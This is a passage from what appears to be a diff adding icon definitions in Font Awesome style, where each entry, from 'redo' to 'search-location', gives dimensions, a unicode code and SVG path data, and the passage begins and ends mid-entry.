301.12l-27.515-44.065c-3.511-5.623-10.916-7.334-16.538-3.821l-33.861 21.159c-5.62 3.512-7.33 10.915-3.818 16.536l27.564 44.112c13.257 21.211-2.057 48.96-27.136 48.96H320V336.02c0-14.213-17.242-21.383-27.313-11.313l-80 79.981c-6.249 6.248-6.249 16.379 0 22.627l80 79.989C302.689 517.308 320 510.3 320 495.989V448h95.88c75.274 0 121.335-82.997 81.408-146.88z" ], + redo: [ 512, 512, [], "f01e", "M500.33 0h-47.41a12 12 0 0 0-12 12.57l4 82.76A247.42 247.42 0 0 0 256 8C119.34 8 7.9 119.53 8 256.19 8.1 393.07 119.1 504 256 504a247.1 247.1 0 0 0 166.18-63.91 12 12 0 0 0 .48-17.43l-34-34a12 12 0 0 0-16.38-.55A176 176 0 1 1 402.1 157.8l-101.53-4.87a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12h200.33a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12z" ], + "redo-alt": [ 512, 512, [], "f2f9", "M256.455 8c66.269.119 126.437 26.233 170.859 68.685l35.715-35.715C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.75c-30.864-28.899-70.801-44.907-113.23-45.273-92.398-.798-170.283 73.977-169.484 169.442C88.764 348.009 162.184 424 256 424c41.127 0 79.997-14.678 110.629-41.556 4.743-4.161 11.906-3.908 16.368.553l39.662 39.662c4.872 4.872 4.631 12.815-.482 17.433C378.202 479.813 319.926 504 256 504 119.034 504 8.001 392.967 8 256.002 7.999 119.193 119.646 7.755 256.455 8z" ], + registered: [ 512, 512, [], "f25d", "M285.363 207.475c0 18.6-9.831 28.431-28.431 28.431h-29.876v-56.14h23.378c28.668 0 34.929 8.773 34.929 27.709zM504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM363.411 360.414c-46.729-84.825-43.299-78.636-44.702-80.98 23.432-15.172 37.945-42.979 37.945-74.486 0-54.244-31.5-89.252-105.498-89.252h-70.667c-13.255 0-24 10.745-24 24V372c0 13.255 10.745 24 24 24h22.567c13.255 0 24-10.745 24-24v-71.663h25.556l44.129 82.937a24.001 24.001 0 0 0 21.188 12.727h24.464c18.261-.001 29.829-19.591 21.018-35.587z" ], + "remove-format": [ 640, 512, [], "f87d", "M336 416h-11.17l9.26-27.77L267 336.4 240.49 416H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm297.82 42.1L377 259.59 426.17 112H544v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16H176a16 16 0 0 0-16 16v43.9L45.46 3.38A16 16 0 0 0 23 6.19L3.37 31.46a16 16 0 0 0 2.81 22.45l588.36 454.72a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zM309.91 207.76L224 141.36V112h117.83z" ], + reply: [ 512, 512, [], "f3e5", "M8.309 189.836L184.313 37.851C199.719 24.546 224 35.347 224 56.015v80.053c160.629 1.839 288 34.032 288 186.258 0 61.441-39.581 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 45.344-145.012-21.507-183.51-176.59-185.742V360c0 20.7-24.3 31.453-39.687 18.164l-176.004-152c-11.071-9.562-11.086-26.753 0-36.328z" ], + "reply-all": [ 576, 512, [], "f122", "M136.309 189.836L312.313 37.851C327.72 24.546 352 35.348 352 56.015v82.763c129.182 10.231 224 52.212 224 183.548 0 61.441-39.582 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 38.512-123.162-3.922-169.482-112.59-182.015v84.175c0 20.701-24.3 31.453-39.687 18.164L136.309 226.164c-11.071-9.561-11.086-26.753 0-36.328zm-128 36.328L184.313 378.15C199.7 391.439 224 380.687 224 359.986v-15.818l-108.606-93.785A55.96 55.96 0 0 1 96 207.998a55.953 55.953 0 0 1 19.393-42.38L224 71.832V56.015c0-20.667-24.28-31.469-39.687-18.164L8.309 189.836c-11.086 9.575-11.071 26.767 0 36.328z" ], + republican: [ 640, 512, [], "f75e", "M544 192c0-88.4-71.6-160-160-160H160C71.6 32 0 103.6 0 192v64h544v-64zm-367.7-21.6l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L128 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L272 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L416 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zM624 320h-32c-8.8 0-16 7.2-16 16v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V288H0v176c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16v-80h192v80c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V352h32v43.3c0 41.8 30 80.1 71.6 84.3 47.8 4.9 88.4-32.7 88.4-79.6v-64c0-8.8-7.2-16-16-16z" ], + restroom: [ 640, 512, [], "f7bd", "M128 128c35.3 0 64-28.7 64-64S163.3 0 128 0 64 28.7 64 64s28.7 64 64 64zm384 0c35.3 0 64-28.7 64-64S547.3 0 512 0s-64 28.7-64 64 28.7 64 64 64zm127.3 226.5l-45.6-185.8c-3.3-13.5-15.5-23-29.8-24.2-15 9.7-32.8 15.5-52 15.5-19.2 0-37-5.8-52-15.5-14.3 1.2-26.5 10.7-29.8 24.2l-45.6 185.8C381 369.6 393 384 409.2 384H464v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V384h54.8c16.2 0 28.2-14.4 24.5-29.5zM336 0h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zM180.1 144.4c-15 9.8-32.9 15.6-52.1 15.6-19.2 0-37.1-5.8-52.1-15.6C51.3 146.5 32 166.9 32 192v136c0 13.3 10.7 24 24 24h8v136c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V352h8c13.3 0 24-10.7 24-24V192c0-25.1-19.3-45.5-43.9-47.6z" ], + retweet: [ 640, 512, [], "f079", "M629.657 343.598L528.971 444.284c-9.373 9.372-24.568 9.372-33.941 0L394.343 343.598c-9.373-9.373-9.373-24.569 0-33.941l10.823-10.823c9.562-9.562 25.133-9.34 34.419.492L480 342.118V160H292.451a24.005 24.005 0 0 1-16.971-7.029l-16-16C244.361 121.851 255.069 96 276.451 96H520c13.255 0 24 10.745 24 24v222.118l40.416-42.792c9.285-9.831 24.856-10.054 34.419-.492l10.823 10.823c9.372 9.372 9.372 24.569-.001 33.941zm-265.138 15.431A23.999 23.999 0 0 0 347.548 352H160V169.881l40.416 42.792c9.286 9.831 24.856 10.054 34.419.491l10.822-10.822c9.373-9.373 9.373-24.569 0-33.941L144.971 67.716c-9.373-9.373-24.569-9.373-33.941 0L10.343 168.402c-9.373 9.373-9.373 24.569 0 33.941l10.822 10.822c9.562 9.562 25.133 9.34 34.419-.491L96 169.881V392c0 13.255 10.745 24 24 24h243.549c21.382 0 32.09-25.851 16.971-40.971l-16.001-16z" ], + ribbon: [ 448, 512, [], "f4d6", "M6.1 444.3c-9.6 10.8-7.5 27.6 4.5 35.7l68.8 27.9c9.9 6.7 23.3 5 31.3-3.8l91.8-101.9-79.2-87.9-117.2 130zm435.8 0s-292-324.6-295.4-330.1c15.4-8.4 40.2-17.9 77.5-17.9s62.1 9.5 77.5 17.9c-3.3 5.6-56 64.6-56 64.6l79.1 87.7 34.2-38c28.7-31.9 33.3-78.6 11.4-115.5l-43.7-73.5c-4.3-7.2-9.9-13.3-16.8-18-40.7-27.6-127.4-29.7-171.4 0-6.9 4.7-12.5 10.8-16.8 18l-43.6 73.2c-1.5 2.5-37.1 62.2 11.5 116L337.5 504c8 8.9 21.4 10.5 31.3 3.8l68.8-27.9c11.9-8 14-24.8 4.3-35.6z" ], + ring: [ 512, 512, [], "f70b", "M256 64C110.06 64 0 125.91 0 208v98.13C0 384.48 114.62 448 256 448s256-63.52 256-141.87V208c0-82.09-110.06-144-256-144zm0 64c106.04 0 192 35.82 192 80 0 9.26-3.97 18.12-10.91 26.39C392.15 208.21 328.23 192 256 192s-136.15 16.21-181.09 42.39C67.97 226.12 64 217.26 64 208c0-44.18 85.96-80 192-80zM120.43 264.64C155.04 249.93 201.64 240 256 240s100.96 9.93 135.57 24.64C356.84 279.07 308.93 288 256 288s-100.84-8.93-135.57-23.36z" ], + road: [ 576, 512, [], "f018", "M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z" ], + robot: [ 640, 512, [], "f544", "M32,224H64V416H32A31.96166,31.96166,0,0,1,0,384V256A31.96166,31.96166,0,0,1,32,224Zm512-48V448a64.06328,64.06328,0,0,1-64,64H160a64.06328,64.06328,0,0,1-64-64V176a79.974,79.974,0,0,1,80-80H288V32a32,32,0,0,1,64,0V96H464A79.974,79.974,0,0,1,544,176ZM264,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,264,256Zm-8,128H192v32h64Zm96,0H288v32h64ZM456,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,456,256Zm-8,128H384v32h64ZM640,256V384a31.96166,31.96166,0,0,1-32,32H576V224h32A31.96166,31.96166,0,0,1,640,256Z" ], + rocket: [ 512, 512, [], "f135", "M505.12019,19.09375c-1.18945-5.53125-6.65819-11-12.207-12.1875C460.716,0,435.507,0,410.40747,0,307.17523,0,245.26909,55.20312,199.05238,128H94.83772c-16.34763.01562-35.55658,11.875-42.88664,26.48438L2.51562,253.29688A28.4,28.4,0,0,0,0,264a24.00867,24.00867,0,0,0,24.00582,24H127.81618l-22.47457,22.46875c-11.36521,11.36133-12.99607,32.25781,0,45.25L156.24582,406.625c11.15623,11.1875,32.15619,13.15625,45.27726,0l22.47457-22.46875V488a24.00867,24.00867,0,0,0,24.00581,24,28.55934,28.55934,0,0,0,10.707-2.51562l98.72834-49.39063c14.62888-7.29687,26.50776-26.5,26.50776-42.85937V312.79688c72.59753-46.3125,128.03493-108.40626,128.03493-211.09376C512.07526,76.5,512.07526,51.29688,505.12019,19.09375ZM384.04033,168A40,40,0,1,1,424.05,128,40.02322,40.02322,0,0,1,384.04033,168Z" ], + route: [ 512, 512, [], "f4d7", "M416 320h-96c-17.6 0-32-14.4-32-32s14.4-32 32-32h96s96-107 96-160-43-96-96-96-96 43-96 96c0 25.5 22.2 63.4 45.3 96H320c-52.9 0-96 43.1-96 96s43.1 96 96 96h96c17.6 0 32 14.4 32 32s-14.4 32-32 32H185.5c-16 24.8-33.8 47.7-47.3 64H416c52.9 0 96-43.1 96-96s-43.1-96-96-96zm0-256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM96 256c-53 0-96 43-96 96s96 160 96 160 96-107 96-160-43-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + rss: [ 448, 512, [], "f09e", "M128.081 415.959c0 35.369-28.672 64.041-64.041 64.041S0 451.328 0 415.959s28.672-64.041 64.041-64.041 64.04 28.673 64.04 64.041zm175.66 47.25c-8.354-154.6-132.185-278.587-286.95-286.95C7.656 175.765 0 183.105 0 192.253v48.069c0 8.415 6.49 15.472 14.887 16.018 111.832 7.284 201.473 96.702 208.772 208.772.547 8.397 7.604 14.887 16.018 14.887h48.069c9.149.001 16.489-7.655 15.995-16.79zm144.249.288C439.596 229.677 251.465 40.445 16.503 32.01 7.473 31.686 0 38.981 0 48.016v48.068c0 8.625 6.835 15.645 15.453 15.999 191.179 7.839 344.627 161.316 352.465 352.465.353 8.618 7.373 15.453 15.999 15.453h48.068c9.034-.001 16.329-7.474 16.005-16.504z" ], + "rss-square": [ 448, 512, [], "f143", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM112 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm157.533 0h-34.335c-6.011 0-11.051-4.636-11.442-10.634-5.214-80.05-69.243-143.92-149.123-149.123-5.997-.39-10.633-5.431-10.633-11.441v-34.335c0-6.535 5.468-11.777 11.994-11.425 110.546 5.974 198.997 94.536 204.964 204.964.352 6.526-4.89 11.994-11.425 11.994zm103.027 0h-34.334c-6.161 0-11.175-4.882-11.427-11.038-5.598-136.535-115.204-246.161-251.76-251.76C68.882 152.949 64 147.935 64 141.774V107.44c0-6.454 5.338-11.664 11.787-11.432 167.83 6.025 302.21 141.191 308.205 308.205.232 6.449-4.978 11.787-11.432 11.787z" ], + "ruble-sign": [ 384, 512, [], "f158", "M239.36 320C324.48 320 384 260.542 384 175.071S324.48 32 239.36 32H76c-6.627 0-12 5.373-12 12v206.632H12c-6.627 0-12 5.373-12 12V308c0 6.627 5.373 12 12 12h52v32H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v52c0 6.627 5.373 12 12 12h58.56c6.627 0 12-5.373 12-12v-52H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H146.56v-32h92.8zm-92.8-219.252h78.72c46.72 0 74.88 29.11 74.88 74.323 0 45.832-28.16 75.561-76.16 75.561h-77.44V100.748z" ], + ruler: [ 640, 512, [], "f545", "M635.7 167.2L556.1 31.7c-8.8-15-28.3-20.1-43.5-11.5l-69 39.1L503.3 161c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L416 75l-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L333.2 122 278 153.3 337.8 255c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-59.7-101.7-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-27.9-47.5-55.2 31.3 59.7 101.7c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L84.9 262.9l-69 39.1C.7 310.7-4.6 329.8 4.2 344.8l79.6 135.6c8.8 15 28.3 20.1 43.5 11.5L624.1 210c15.2-8.6 20.4-27.8 11.6-42.8z" ], + "ruler-combined": [ 512, 512, [], "f546", "M160 288h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56v-64h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56V96h-56c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8h56V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 2.77.91 5.24 1.57 7.8L160 329.38V288zm320 64h-32v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-41.37L24.2 510.43c2.56.66 5.04 1.57 7.8 1.57h448c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z" ], + "ruler-horizontal": [ 576, 512, [], "f547", "M544 128h-48v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8H88c-4.42 0-8-3.58-8-8v-88H32c-17.67 0-32 14.33-32 32v192c0 17.67 14.33 32 32 32h512c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32z" ], + "ruler-vertical": [ 256, 512, [], "f548", "M168 416c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 17.67 14.33 32 32 32h192c17.67 0 32-14.33 32-32v-64h-88z" ], + running: [ 416, 512, [], "f70c", "M272 96c26.51 0 48-21.49 48-48S298.51 0 272 0s-48 21.49-48 48 21.49 48 48 48zM113.69 317.47l-14.8 34.52H32c-17.67 0-32 14.33-32 32s14.33 32 32 32h77.45c19.25 0 36.58-11.44 44.11-29.09l8.79-20.52-10.67-6.3c-17.32-10.23-30.06-25.37-37.99-42.61zM384 223.99h-44.03l-26.06-53.25c-12.5-25.55-35.45-44.23-61.78-50.94l-71.08-21.14c-28.3-6.8-57.77-.55-80.84 17.14l-39.67 30.41c-14.03 10.75-16.69 30.83-5.92 44.86s30.84 16.66 44.86 5.92l39.69-30.41c7.67-5.89 17.44-8 25.27-6.14l14.7 4.37-37.46 87.39c-12.62 29.48-1.31 64.01 26.3 80.31l84.98 50.17-27.47 87.73c-5.28 16.86 4.11 34.81 20.97 40.09 3.19 1 6.41 1.48 9.58 1.48 13.61 0 26.23-8.77 30.52-22.45l31.64-101.06c5.91-20.77-2.89-43.08-21.64-54.39l-61.24-36.14 31.31-78.28 20.27 41.43c8 16.34 24.92 26.89 43.11 26.89H384c17.67 0 32-14.33 32-32s-14.33-31.99-32-31.99z" ], + "rupee-sign": [ 320, 512, [], "f156", "M308 96c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v44.748c0 6.627 5.373 12 12 12h85.28c27.308 0 48.261 9.958 60.97 27.252H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h158.757c-6.217 36.086-32.961 58.632-74.757 58.632H12c-6.627 0-12 5.373-12 12v53.012c0 3.349 1.4 6.546 3.861 8.818l165.052 152.356a12.001 12.001 0 0 0 8.139 3.182h82.562c10.924 0 16.166-13.408 8.139-20.818L116.871 319.906c76.499-2.34 131.144-53.395 138.318-127.906H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-58.69c-3.486-11.541-8.28-22.246-14.252-32H308z" ], + "sad-cry": [ 496, 512, [], "f5b3", "M248 8C111 8 0 119 0 256c0 90.1 48.2 168.7 120 212.1V288c0-8.8 7.2-16 16-16s16 7.2 16 16v196.7c29.5 12.4 62 19.3 96 19.3s66.5-6.9 96-19.3V288c0-8.8 7.2-16 16-16s16 7.2 16 16v180.1C447.8 424.7 496 346 496 256 496 119 385 8 248 8zm-65.5 216.5c-14.8-13.2-46.2-13.2-61 0L112 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c.8 5-1.7 10-6.1 12.4-5.8 3.1-11.2.7-13.7-1.6l-9.7-8.5zM248 416c-26.5 0-48-28.7-48-64s21.5-64 48-64 48 28.7 48 64-21.5 64-48 64zm149.8-181.5c-5.8 3.1-11.2.7-13.7-1.6l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S400 197 404 222.2c.6 4.9-1.8 9.9-6.2 12.3z" ], + "sad-tear": [ 496, 512, [], "f5b4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM152 416c-26.5 0-48-21-48-47 0-20 28.5-60.4 41.6-77.8 3.2-4.3 9.6-4.3 12.8 0C171.5 308.6 200 349 200 369c0 26-21.5 47-48 47zm16-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm170.2 154.2C315.8 367.4 282.9 352 248 352c-21.2 0-21.2-32 0-32 44.4 0 86.3 19.6 114.7 53.8 13.8 16.4-11.2 36.5-24.5 20.4z" ], + satellite: [ 512, 512, [], "f7bf", "M502.60969,310.04206l-96.70393,96.71625a31.88151,31.88151,0,0,1-45.00765,0L280.572,326.34115l-9.89231,9.90759a190.56343,190.56343,0,0,1-5.40716,168.52287c-4.50077,8.50115-16.39342,9.59505-23.20707,2.79725L134.54715,400.05428l-17.7999,17.79929c.70324,2.60972,1.60965,5.00067,1.60965,7.79793a32.00544,32.00544,0,1,1-32.00544-32.00434c2.79735,0,5.18838.90637,7.7982,1.60959l17.7999-17.79929L4.43129,269.94287c-6.798-6.81342-5.70409-18.6119,2.79735-23.20627a190.58161,190.58161,0,0,1,168.52864-5.407l9.79854-9.79821-80.31053-80.41716a32.002,32.002,0,0,1,0-45.09987L201.96474,9.29814A31.62639,31.62639,0,0,1,224.46868,0a31.99951,31.99951,0,0,1,22.59759,9.29814l80.32615,80.30777,47.805-47.89713a33.6075,33.6075,0,0,1,47.50808,0l47.50807,47.50645a33.63308,33.63308,0,0,1,0,47.50644l-47.805,47.89713L502.71908,265.036A31.78938,31.78938,0,0,1,502.60969,310.04206ZM219.56159,197.433l73.82505-73.82252-68.918-68.9-73.80942,73.80689Zm237.74352,90.106-68.90233-68.9156-73.825,73.82252,68.918,68.9Z" ], + "satellite-dish": [ 512, 512, [], "f7c0", "M305.44954,462.59c7.39157,7.29792,6.18829,20.09661-3.00038,25.00356-77.713,41.80281-176.72559,29.9105-242.34331-35.7082C-5.49624,386.28227-17.404,287.362,24.41381,209.554c4.89125-9.095,17.68975-10.29834,25.00318-3.00043L166.22872,323.36708l27.39411-27.39452c-.68759-2.60974-1.594-5.00071-1.594-7.81361a32.00407,32.00407,0,1,1,32.00407,32.00455c-2.79723,0-5.20378-.89075-7.79786-1.594l-27.40974,27.41015ZM511.9758,303.06732a16.10336,16.10336,0,0,1-16.002,17.00242H463.86031a15.96956,15.96956,0,0,1-15.89265-15.00213C440.46671,175.5492,336.45348,70.53427,207.03078,63.53328a15.84486,15.84486,0,0,1-15.00191-15.90852V16.02652A16.09389,16.09389,0,0,1,209.031.02425C372.25491,8.61922,503.47472,139.841,511.9758,303.06732Zm-96.01221-.29692a16.21093,16.21093,0,0,1-16.11142,17.29934H367.645a16.06862,16.06862,0,0,1-15.89265-14.70522c-6.90712-77.01094-68.118-138.91037-144.92467-145.22376a15.94,15.94,0,0,1-14.79876-15.89289V112.13393a16.134,16.134,0,0,1,17.29908-16.096C319.45132,104.5391,407.55627,192.64538,415.96359,302.7704Z" ], + save: [ 448, 512, [], "f0c7", "M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM224 416c-35.346 0-64-28.654-64-64 0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64zm96-304.52V212c0 6.627-5.373 12-12 12H76c-6.627 0-12-5.373-12-12V108c0-6.627 5.373-12 12-12h228.52c3.183 0 6.235 1.264 8.485 3.515l3.48 3.48A11.996 11.996 0 0 1 320 111.48z" ], + school: [ 640, 512, [], "f549", "M0 224v272c0 8.84 7.16 16 16 16h80V192H32c-17.67 0-32 14.33-32 32zm360-48h-24v-40c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v64c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zm137.75-63.96l-160-106.67a32.02 32.02 0 0 0-35.5 0l-160 106.67A32.002 32.002 0 0 0 128 138.66V512h128V368c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v144h128V138.67c0-10.7-5.35-20.7-14.25-26.63zM320 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm288-64h-64v320h80c8.84 0 16-7.16 16-16V224c0-17.67-14.33-32-32-32z" ], + screwdriver: [ 512, 512, [], "f54a", "M448 0L320 96v62.06l-83.03 83.03c6.79 4.25 13.27 9.06 19.07 14.87 5.8 5.8 10.62 12.28 14.87 19.07L353.94 192H416l96-128-64-64zM128 278.59L10.92 395.67c-14.55 14.55-14.55 38.15 0 52.71l52.7 52.7c14.56 14.56 38.15 14.56 52.71 0L233.41 384c29.11-29.11 29.11-76.3 0-105.41s-76.3-29.11-105.41 0z" ], + scroll: [ 640, 512, [], "f70e", "M48 0C21.53 0 0 21.53 0 48v64c0 8.84 7.16 16 16 16h80V48C96 21.53 74.47 0 48 0zm208 412.57V352h288V96c0-52.94-43.06-96-96-96H111.59C121.74 13.41 128 29.92 128 48v368c0 38.87 34.65 69.65 74.75 63.12C234.22 474 256 444.46 256 412.57zM288 384v32c0 52.93-43.06 96-96 96h336c61.86 0 112-50.14 112-112 0-8.84-7.16-16-16-16H288z" ], + "sd-card": [ 384, 512, [], "f7c2", "M320 0H128L0 128v320c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 160h-48V64h48v96zm80 0h-48V64h48v96zm80 0h-48V64h48v96z" ], + search: [ 512, 512, [], "f002", "M505 442.7L405.3 343c-4.5-4.5-10.6-7-17-7H372c27.6-35.3 44-79.7 44-128C416 93.1 322.9 0 208 0S0 93.1 0 208s93.1 208 208 208c48.3 0 92.7-16.4 128-44v16.3c0 6.4 2.5 12.5 7 17l99.7 99.7c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.6.1-34zM208 336c-70.7 0-128-57.2-128-128 0-70.7 57.2-128 128-128 70.7 0 128 57.2 128 128 0 70.7-57.2 128-128 128z" ], + "search-dollar": [ 512, 512, [], "f688", "M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm27.11-152.54l-45.01-13.5c-5.16-1.55-8.77-6.78-8.77-12.73 0-7.27 5.3-13.19 11.8-13.19h28.11c4.56 0 8.96 1.29 12.82 3.72 3.24 2.03 7.36 1.91 10.13-.73l11.75-11.21c3.53-3.37 3.33-9.21-.57-12.14-9.1-6.83-20.08-10.77-31.37-11.35V112c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v16.12c-23.63.63-42.68 20.55-42.68 45.07 0 19.97 12.99 37.81 31.58 43.39l45.01 13.5c5.16 1.55 8.77 6.78 8.77 12.73 0 7.27-5.3 13.19-11.8 13.19h-28.1c-4.56 0-8.96-1.29-12.82-3.72-3.24-2.03-7.36-1.91-10.13.73l-11.75 11.21c-3.53 3.37-3.33 9.21.57 12.14 9.1 6.83 20.08 10.77 31.37 11.35V304c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-16.12c23.63-.63 42.68-20.54 42.68-45.07 0-19.97-12.99-37.81-31.59-43.39z" ], + "search-location": [ 512, 512, [], "f689", "M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 